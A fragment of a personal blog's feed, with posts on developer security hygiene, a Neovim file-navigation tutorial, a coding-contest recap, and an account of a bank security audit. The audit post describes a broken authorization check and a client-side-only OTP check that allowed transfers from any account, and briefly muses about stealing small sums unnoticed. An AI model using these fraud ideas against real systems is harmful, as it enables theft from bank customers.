&lt;img alt="/images/securing-your-dev-environment/gmail-disable-display-external-images.png" src="https://stsewd.dev/images/securing-your-dev-environment/gmail-disable-display-external-images.png"&gt;
&lt;/a&gt;
&lt;figcaption&gt;
&lt;p&gt;Option to disable loading external images on Gmail.&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/section&gt;
&lt;section id="use-a-secure-channel-for-communication"&gt;
&lt;h2&gt;Use a secure channel for communication&lt;/h2&gt;
&lt;p&gt;Sometimes you'll need to share passwords or private information with other coworkers.
Use a secure channel with end to end encryption to do so (and delete the messages after you are done),
or use a password manager for your team,
or encrypt the secrets with their public GPG key.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="extra-paranoia"&gt;
&lt;h2&gt;Extra paranoia&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Avoid wireless devices when possible.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Search for security related settings on every application you use.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Be careful with the personal information you share with others.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use two phone numbers and two computers.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Shred any document before throwing it to the trash.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="conclusions"&gt;
&lt;h2&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;Everything is about encryption and lifetimes.&lt;/p&gt;
&lt;p&gt;In perfect conditions, you should have a dedicated computer for work,
and connect to the Internet using a secure network,
but this isn't always possible or provided by your employer.
Still, it's always good to have several layers of protection when handling sensitive information.&lt;/p&gt;
&lt;p&gt;Did you already knew some of these tips?
Or do you have more to share?
Let me know in the comments!&lt;/p&gt;
&lt;hr class="docutils"&gt;
&lt;aside class="footnote-list brackets"&gt;
&lt;aside class="footnote brackets" id="mfa" role="doc-footnote"&gt;
&lt;span class="label"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;&lt;a role="doc-backlink" href="https://stsewd.dev/posts/securing-your-dev-environment/#footnote-reference-1"&gt;1&lt;/a&gt;&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;p&gt;&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Multi-factor_authentication"&gt;https://en.wikipedia.org/wiki/Multi-factor_authentication&lt;/a&gt;&lt;/p&gt;
&lt;/aside&gt;
&lt;aside class="footnote brackets" id="sim-hijack" role="doc-footnote"&gt;
&lt;span class="label"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;&lt;a role="doc-backlink" href="https://stsewd.dev/posts/securing-your-dev-environment/#footnote-reference-2"&gt;2&lt;/a&gt;&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;p&gt;&lt;a class="reference external" href="https://en.wikipedia.org/wiki/SIM_swap_scam"&gt;https://en.wikipedia.org/wiki/SIM_swap_scam&lt;/a&gt;&lt;/p&gt;
&lt;/aside&gt;
&lt;aside class="footnote brackets" id="otp" role="doc-footnote"&gt;
&lt;span class="label"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;&lt;a role="doc-backlink" href="https://stsewd.dev/posts/securing-your-dev-environment/#footnote-reference-3"&gt;3&lt;/a&gt;&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;p&gt;&lt;a class="reference external" href="https://en.wikipedia.org/wiki/One-time_password"&gt;https://en.wikipedia.org/wiki/One-time_password&lt;/a&gt;&lt;/p&gt;
&lt;/aside&gt;
&lt;/aside&gt;
&lt;/section&gt;</description><category>development</category><category>security</category><guid>https://stsewd.dev/posts/securing-your-dev-environment/</guid><pubDate>Sat, 24 Jul 2021 05:00:00 GMT</pubDate></item><item><title>A tale about security in web applications, or how I helped to save a bank from bankruptcy</title><link>https://stsewd.dev/posts/a-tale-about-security-in-web-applications/</link><dc:creator>Santos Gallegos</dc:creator><description>&lt;p&gt;Hi friend, today I'm going to tell you a little story.
Some things may look familiar, or even you could feel related to some situations.
I assure you, &lt;strong&gt;it's mere coincidence&lt;/strong&gt;.&lt;/p&gt;
&lt;section id="a-new-experience"&gt;
&lt;h2&gt;A new experience&lt;/h2&gt;
&lt;p&gt;This tale takes place in Ecuador.
It was during the lockdown that some friends contacted me to help them with a security audit.
They were forming a team (with special abilities?),
and there was missing someone with programming/web skills.&lt;/p&gt;
&lt;p&gt;I was a little nervous to say yes,
since I haven't had much experience with security in the field.
But it was comforting to know that my teammates had vast experience in it.
I was excited to learn new things from them, and how the world of security, auditing, and banking works.
Oh, and I would get one of those fancy permits (salvoconducto) to go outside during lockdown.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Wait, "banking"?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Oh, sorry I didn't tell you, the security audit was for a small bank.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="first-flight"&gt;
&lt;h2&gt;First flight&lt;/h2&gt;
&lt;p&gt;And &lt;em&gt;the day&lt;/em&gt; arrived.
We started with their homepage, and some small web applications.
It didn't take me much time to start finding small security bugs.
And then not so small, but not &lt;em&gt;that&lt;/em&gt; critical either,
mostly things returning too much data or returning data when they shouldn't.
And it was from some old applications, so there wasn't much surprise in there,
and the data exposed wasn't from all their clients.&lt;/p&gt;
&lt;p&gt;After reporting some of those bugs that seemed important to get fixed soon
we moved on to our next target: &lt;strong&gt;the online banking application&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We started with a black box test (no user).
It wasn't long since we started to find minor security bugs.
And we found some indications that the API may not be doing an appropriate check for authorization,
but without a user, it wasn't easy to guess (yet!).&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;What indications?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Well, most of their APIs required a user ID to be present in the request.
So, instead of relying on some session cookie or authorization token previously validated by the server,
&lt;strong&gt;they were asking the client to explicitly pass the user's ID&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Oh, I see, that smells bad.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="access-granted"&gt;
&lt;h2&gt;Access granted&lt;/h2&gt;
&lt;p&gt;After we got tired of guessing what some APIs would do and their parameters,
we created a new user and started our gray box testing.
The first thing we did was to check those precious API requests,
the parameters being sent, cookies, etc.
And then, the test we all were waiting for.
Changing the user from the request to another one...
Bingo! We got access. I mean, &lt;strong&gt;damn, we got access???&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After that shocking reveal, we kept digging for more endpoints to test.
The obvious one was to try to transfer money from/to other accounts, but there was a little problem.
An &lt;a class="reference external" href="https://en.wikipedia.org/wiki/One-time_password"&gt;OTP&lt;/a&gt; was required for each transaction.
So we first made a real transaction to check how the API works...
We realized that the OTP wasn't needed at all! &lt;strong&gt;It was being validated from the client side!&lt;/strong&gt;
So, yes, we were able to transfer money to any account &lt;strong&gt;and&lt;/strong&gt; from any account.
The user IDs were all incremental,
which means that you could easily steal money from everyone in the bank.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Damn! THAT IS SHOCKING! Someone could have easily emptied the accounts of everyone!
But it would have been very obvious if it has happened.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Or just steal 50 cents from everyone in the bank each month.
Do you really know exactly how much money do you have in your bank account?
Would you even care if only 50 cents were missing?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;That's a low and long game to play, but still easy to track.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Or you could just buy things, and pay with a wire transfer.
That way the money goes to several people instead of just one.
There are more ways you could exploit this without anyone noticing it, for sure.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="interlude-about-boxes"&gt;
&lt;h2&gt;Interlude - about boxes&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;So, you did a black and gray box tests, is there a white one? and what those colors mean?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The color thing is about how much information and access you have to the application.
In a black box test, you don't know anything about the system internals.
In a gray box test, you have some knowledge of the application, like the architecture,
technologies being used and intern access to the application (like a user!).
And finally the white one, you have access to the source code.
But we didn't do that one.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="consequences"&gt;
&lt;h2&gt;Consequences&lt;/h2&gt;
&lt;p&gt;At this point more than shocked, &lt;strong&gt;I was scare and disappointed&lt;/strong&gt;.
Scare of knowing this vulnerability existed and was &lt;strong&gt;easy to exploit&lt;/strong&gt;.
The money from all the people was in danger, maybe even their lives!
And disappointed to know that this application has been sold to this bank (and others!) for a lot of money,
and the company behind it has been doing so for more than 15 years.
And also, that all these banks have been for many security audits,
and &lt;strong&gt;NO ONE&lt;/strong&gt; found any of the things we reported.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;What do you mean with their lives were in danger?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You could disagree with me on this one,
personally I think that a bank is a &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Safety-critical_system"&gt;SCS&lt;/a&gt;,
Nothing good can happen
if something goes wrong with people's money,
or all their savings.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;No one found that after several audits? WOW! Why do you think they missed them?
And how the developers missed that!?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sadly. Laziness, inexperience and negligence.
Here people don't like to go very &lt;em&gt;technical&lt;/em&gt;,
but instead go with degrees and certifications ($$$).
And when doing the audit, they only run automated tools
without doing any manual checking, or trust that the apps are secure,
or everyone in the team knows only about networking.
And from the developers side, what can I say?
Most developers here don't know what a unit test is,
or are afraid to say "I'm not qualified to build this, we need someone else".&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="not-surprised"&gt;
&lt;h2&gt;Not surprised&lt;/h2&gt;
&lt;p&gt;I can't say this was &lt;em&gt;that&lt;/em&gt; shocking,
I mean, I have seen things like this on several apps in my country before,
but seeing this happening in a bank... that's another thing.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;So, what happened after you reported this?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Well, the company behind the application negated that the bug existed,
but we provided enough proofs in our report that invalidated all those claims.
And they even charged the bank for fixing those vulnerabilities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;WTF? That's unethical.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Yeah, but sadly I learned that's how the banking/enterprise world works.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;We found more shocking things&lt;/strong&gt;, but I may tell you that in another occasion.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="the-end"&gt;
&lt;h2&gt;The end&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;If you are a developer&lt;/strong&gt;, please always make sure to write tests for you code,
especially if you are dealing with sensitive data.
If you feel you may not have enough experience to work on something,
don't be afraid to say so, and ask for help.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you are doing a security audit&lt;/strong&gt;,
please bring a diverse team,
or be clear with the client about what things you may not be dealing with.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you are looking to do a security audit at your company&lt;/strong&gt;,
I may know a great team with experts in different areas that &lt;a class="reference external" href="https://stsewd.dev/about"&gt;you could hire&lt;/a&gt;.&lt;/p&gt;
&lt;aside class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note&lt;/p&gt;
&lt;p&gt;This tale may have been inspired by a real situation,
and some things may have been exaggerated (or maybe not?).&lt;/p&gt;
&lt;/aside&gt;
&lt;/section&gt;</description><category>experience</category><category>security</category><guid>https://stsewd.dev/posts/a-tale-about-security-in-web-applications/</guid><pubDate>Fri, 18 Jun 2021 05:00:00 GMT</pubDate></item><item><title>Devsu Code Jam 2019 - solutions and my experience</title><link>https://stsewd.dev/posts/devsucodejam-2019/</link><dc:creator>Santos Gallegos</dc:creator><description>&lt;p&gt;Last year I participated in the &lt;a class="reference external" href="https://www.devsucodejam.com/"&gt;Devsu Codejam 2019&lt;/a&gt; contest,
which is about solving programming problems.
The first place? A car 🚗.&lt;/p&gt;
&lt;p&gt;The contest was for all developers from Ecuador,
this is the first time I have heard about this type of contests being organized in Ecuador,
so it caught my attention (well, the car a little too).&lt;/p&gt;
&lt;figure class="align-center"&gt;
&lt;img alt="/images/devsucodejam-2019/web.png" src="https://stsewd.dev/images/devsucodejam-2019/web.png"&gt;
&lt;figcaption&gt;
&lt;p&gt;Devsu Codejam front page&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;First, a little of background about myself.
I have participated in some contests about problem solving in the past:
three times in the &lt;a class="reference external" href="https://ieeextreme.org/"&gt;IEEEXtreme programming&lt;/a&gt; (before the university kicked me out),
and a couple on &lt;a class="reference external" href="https://www.hackerrank.com/stsewd"&gt;Hackerrank&lt;/a&gt;, so I'm kind of familiar with them.
I stopped participating in these kind of contests for a while,
so this was a good opportunity to get back into the game.&lt;/p&gt;
&lt;p&gt;The contest was split into two categories (students and professionals), and it had two rounds.
The first round was online (November 23th), and was around ~4 hours with 16 problems.
The first 50 of each category from the first round could go the second round held in Quito,
the capital of Ecuador (November 30th), this phase was around 3 hours with 10 problems.&lt;/p&gt;
&lt;p&gt;I participated in the professionals category.
And got the 10th place in the first round, and the 7th place in the final round.
What? Did you think I won the car? Sorry friend, I didn't mean to disappoint you.&lt;/p&gt;
&lt;p&gt;Anyway, I arrived at Quito the day before the contest,
met some friends and got drunk, and didn't get much sleep.
And the day of the contest my allergies didn't play nice...
so I had a running nose during the whole contest.
And yes, those are silly excuses, but a 7th place isn't bad 😃
(and they gave some prizes to the first 10 of each category).&lt;/p&gt;
&lt;p&gt;That was my experience, now let's get back to the problems.
I uploaded my solutions from the first round here
&lt;a class="reference external" href="https://github.com/stsewd/devsucodejam-2019"&gt;https://github.com/stsewd/devsucodejam-2019&lt;/a&gt; and from the final round here &lt;a class="reference external" href="https://github.com/stsewd/devsucodejam-2019-final"&gt;https://github.com/stsewd/devsucodejam-2019-final&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I don't have access to the platform with all the test cases,
so I can't guarantee all the solutions are correct,
but I believe most of them are :).&lt;/p&gt;
&lt;aside class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note&lt;/p&gt;
&lt;p&gt;First I was planning in writting the explanation for all solutions,
but then I realized the posts would be too long to read &lt;em&gt;and write&lt;/em&gt;...
So I'm just linking to my solutions instead,
if you have any questions about one of them let me know,
maybe I'll do another post explaining those solutions.&lt;/p&gt;
&lt;/aside&gt;
&lt;p&gt;Some final words, I encourage &lt;strong&gt;you&lt;/strong&gt; to keep solving problems in platforms like &lt;a class="reference external" href="https://www.hackerrank.com/"&gt;hackerrank&lt;/a&gt; and &lt;a class="reference external" href="https://hackerearth.com/"&gt;hackerearth&lt;/a&gt;.
You'll realize how using a different algorithm or data structure will make your programs faster,
how some small optimizations can make a big difference when handling large amounts of data,
start thinking outside the box when solving real-life problems,
and see math as your best friend when solving problems.&lt;/p&gt;
&lt;p&gt;And there is another plus,
when solving problems, at the same time you'll be building your portfolio,
and showing your &lt;em&gt;real skills&lt;/em&gt; to the world.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you want to master a programming language, solving problems is a fun way to do it!&lt;/em&gt;&lt;/p&gt;</description><category>experience</category><category>problem solving</category><guid>https://stsewd.dev/posts/devsucodejam-2019/</guid><pubDate>Fri, 02 Oct 2020 05:00:00 GMT</pubDate></item><item><title>File navigation in Neovim and more</title><link>https://stsewd.dev/posts/file-navigation-neovim/</link><dc:creator>Santos Gallegos</dc:creator><description>&lt;p&gt;If you work in a project with more than one file,
probably you'll be changing files very frequently or
search for a file that contains the code or text you are interested in.&lt;/p&gt;
&lt;p&gt;Or when you are new in a project, you want to know:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;How it's organized&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Where the current file is located&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;What other files are around the file you are right now&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Where is the test of the current file&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Or if you are a C/Cpp programmer, where the header file is&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I'll show you some plugins I use navigate in files from a project in Neovim and more.&lt;/p&gt;
&lt;section id="nerdtree"&gt;
&lt;h2&gt;NerdTree&lt;/h2&gt;
&lt;p&gt;If you need to know the structure of a project you can use the &lt;code class="docutils literal"&gt;tree&lt;/code&gt; command.
But, if you are already in Neovim, you can use the &lt;a class="reference external" href="https://github.com/scrooloose/nerdtree"&gt;NerdTree plugin&lt;/a&gt;.&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://stsewd.dev/images/file-navigation-neovim/nerdtree.gif"&gt;
&lt;img alt="NerdTree" class="align-center" src="https://stsewd.dev/images/file-navigation-neovim/nerdtree.gif"&gt;
&lt;/a&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;You can install it with &lt;a class="reference external" href="https://github.com/junegunn/vim-plug"&gt;vim-plug&lt;/a&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code vim"&gt;&lt;a id="rest_code_315f73c96e134868990f37144b4f66db-1" name="rest_code_315f73c96e134868990f37144b4f66db-1" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_315f73c96e134868990f37144b4f66db-1"&gt;&lt;/a&gt;Plug &lt;span class="s1"&gt;'scrooloose/nerdtree'&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I have these settings for NerdTree:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code vim"&gt;&lt;a id="rest_code_dc5f39377bbc4f2baeda4ee749352da3-1" name="rest_code_dc5f39377bbc4f2baeda4ee749352da3-1" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_dc5f39377bbc4f2baeda4ee749352da3-1"&gt;&lt;/a&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;g&lt;/span&gt;:NERDTreeChDirMode &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;  &lt;span class="c"&gt;" Change cwd to parent node&lt;/span&gt;
&lt;a id="rest_code_dc5f39377bbc4f2baeda4ee749352da3-2" name="rest_code_dc5f39377bbc4f2baeda4ee749352da3-2" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_dc5f39377bbc4f2baeda4ee749352da3-2"&gt;&lt;/a&gt;
&lt;a id="rest_code_dc5f39377bbc4f2baeda4ee749352da3-3" name="rest_code_dc5f39377bbc4f2baeda4ee749352da3-3" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_dc5f39377bbc4f2baeda4ee749352da3-3"&gt;&lt;/a&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;g&lt;/span&gt;:NERDTreeMinimalUI &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;  &lt;span class="c"&gt;" Hide help text&lt;/span&gt;
&lt;a id="rest_code_dc5f39377bbc4f2baeda4ee749352da3-4" name="rest_code_dc5f39377bbc4f2baeda4ee749352da3-4" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_dc5f39377bbc4f2baeda4ee749352da3-4"&gt;&lt;/a&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;g&lt;/span&gt;:NERDTreeAutoDeleteBuffer &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;a id="rest_code_dc5f39377bbc4f2baeda4ee749352da3-5" name="rest_code_dc5f39377bbc4f2baeda4ee749352da3-5" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_dc5f39377bbc4f2baeda4ee749352da3-5"&gt;&lt;/a&gt;
&lt;a id="rest_code_dc5f39377bbc4f2baeda4ee749352da3-6" name="rest_code_dc5f39377bbc4f2baeda4ee749352da3-6" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_dc5f39377bbc4f2baeda4ee749352da3-6"&gt;&lt;/a&gt;&lt;span class="nb"&gt;nnoremap&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;leader&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="k"&gt;n&lt;/span&gt; :NERDTreeToggle&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;CR&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_dc5f39377bbc4f2baeda4ee749352da3-7" name="rest_code_dc5f39377bbc4f2baeda4ee749352da3-7" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_dc5f39377bbc4f2baeda4ee749352da3-7"&gt;&lt;/a&gt;&lt;span class="nb"&gt;nnoremap&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;leader&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;N :NERDTreeFind&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;CR&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;So, if I want to see the project structure I just press &lt;code class="kbd docutils literal"&gt;&amp;lt;leader&amp;gt; + n&lt;/code&gt;.
If I want to see the files that are around the current file, I just press &lt;code class="kbd docutils literal"&gt;&amp;lt;leader&amp;gt; + N&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you like icons, you can get it in NerdTree with &lt;a class="reference external" href="https://github.com/ryanoasis/vim-devicons"&gt;Vim devicons&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can navigate on NerdTree like any other buffer.
For more information, read the manual &lt;code class="docutils literal"&gt;:help NerdTree.txt&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="fzf-ripgrep"&gt;
&lt;h2&gt;FZF &amp;amp; Ripgrep&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://github.com/junegunn/fzf"&gt;FZF&lt;/a&gt; is an interactive fuzzy finder for the command line that can be used with any list.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://github.com/BurntSushi/ripgrep"&gt;Ripgrep&lt;/a&gt; is an alternative to &lt;code class="docutils literal"&gt;grep&lt;/code&gt;,
it respects your &lt;code class="docutils literal"&gt;.gitignore&lt;/code&gt; file by default.
And it's super fast.
Ripgrep can be used together with FZF.&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://stsewd.dev/images/file-navigation-neovim/fzf.gif"&gt;
&lt;img alt="NerdTree" class="align-center" src="https://stsewd.dev/images/file-navigation-neovim/fzf.gif"&gt;
&lt;/a&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;You can install ripgrep with:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_53c73c3a26344fdd8c905662c8a43c7e-1" name="rest_code_53c73c3a26344fdd8c905662c8a43c7e-1" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_53c73c3a26344fdd8c905662c8a43c7e-1"&gt;&lt;/a&gt;&lt;span class="c1"&gt;# Ubuntu&lt;/span&gt;
&lt;a id="rest_code_53c73c3a26344fdd8c905662c8a43c7e-2" name="rest_code_53c73c3a26344fdd8c905662c8a43c7e-2" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_53c73c3a26344fdd8c905662c8a43c7e-2"&gt;&lt;/a&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;ripgrep
&lt;a id="rest_code_53c73c3a26344fdd8c905662c8a43c7e-3" name="rest_code_53c73c3a26344fdd8c905662c8a43c7e-3" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_53c73c3a26344fdd8c905662c8a43c7e-3"&gt;&lt;/a&gt;
&lt;a id="rest_code_53c73c3a26344fdd8c905662c8a43c7e-4" name="rest_code_53c73c3a26344fdd8c905662c8a43c7e-4" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_53c73c3a26344fdd8c905662c8a43c7e-4"&gt;&lt;/a&gt;&lt;span class="c1"&gt;# Fedora&lt;/span&gt;
&lt;a id="rest_code_53c73c3a26344fdd8c905662c8a43c7e-5" name="rest_code_53c73c3a26344fdd8c905662c8a43c7e-5" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_53c73c3a26344fdd8c905662c8a43c7e-5"&gt;&lt;/a&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;dnf&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;ripgrep
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For other OSs, &lt;a class="reference external" href="https://github.com/BurntSushi/ripgrep#installation"&gt;read this&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;FZF has a &lt;a class="reference external" href="https://github.com/junegunn/fzf.vim"&gt;plugin for Neovim&lt;/a&gt;
(it installs the binary package too),
you can install it with:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code vim"&gt;&lt;a id="rest_code_d5e99c5f22024c8baf705322f23b3276-1" name="rest_code_d5e99c5f22024c8baf705322f23b3276-1" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_d5e99c5f22024c8baf705322f23b3276-1"&gt;&lt;/a&gt;Plug &lt;span class="s1"&gt;'junegunn/fzf'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; { &lt;span class="s1"&gt;'dir'&lt;/span&gt;: &lt;span class="s1"&gt;'~/.fzf'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'do'&lt;/span&gt;: &lt;span class="s1"&gt;'./install --all'&lt;/span&gt; }
&lt;a id="rest_code_d5e99c5f22024c8baf705322f23b3276-2" name="rest_code_d5e99c5f22024c8baf705322f23b3276-2" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_d5e99c5f22024c8baf705322f23b3276-2"&gt;&lt;/a&gt;Plug &lt;span class="s1"&gt;'junegunn/fzf.vim'&lt;/span&gt;  &lt;span class="c"&gt;" General fuzzy finder&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now you can use the commands:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="docutils literal"&gt;:Files&lt;/code&gt; to fuzzy search all files in the current directory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="docutils literal"&gt;:Rg&lt;/code&gt; to fuzzy search across all files using ripgrep.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="docutils literal"&gt;:BLines&lt;/code&gt; to fuzzy search on all lines of the current buffer.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="docutils literal"&gt;:Buffers&lt;/code&gt; to fuzzy search all open buffers.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I have these settings for FZF:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code vim"&gt;&lt;a id="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-1" name="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-1" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-1"&gt;&lt;/a&gt;&lt;span class="c"&gt;" Prefix all commands with Fz,&lt;/span&gt;
&lt;a id="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-2" name="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-2" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-2"&gt;&lt;/a&gt;&lt;span class="c"&gt;" so Files is Fzfiles, Rg is FzRg, etc.&lt;/span&gt;
&lt;a id="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-3" name="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-3" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-3"&gt;&lt;/a&gt;&lt;span class="c"&gt;" It's useful to autocomplete all fzf commands using :Fz&amp;lt;tab&amp;gt;&lt;/span&gt;
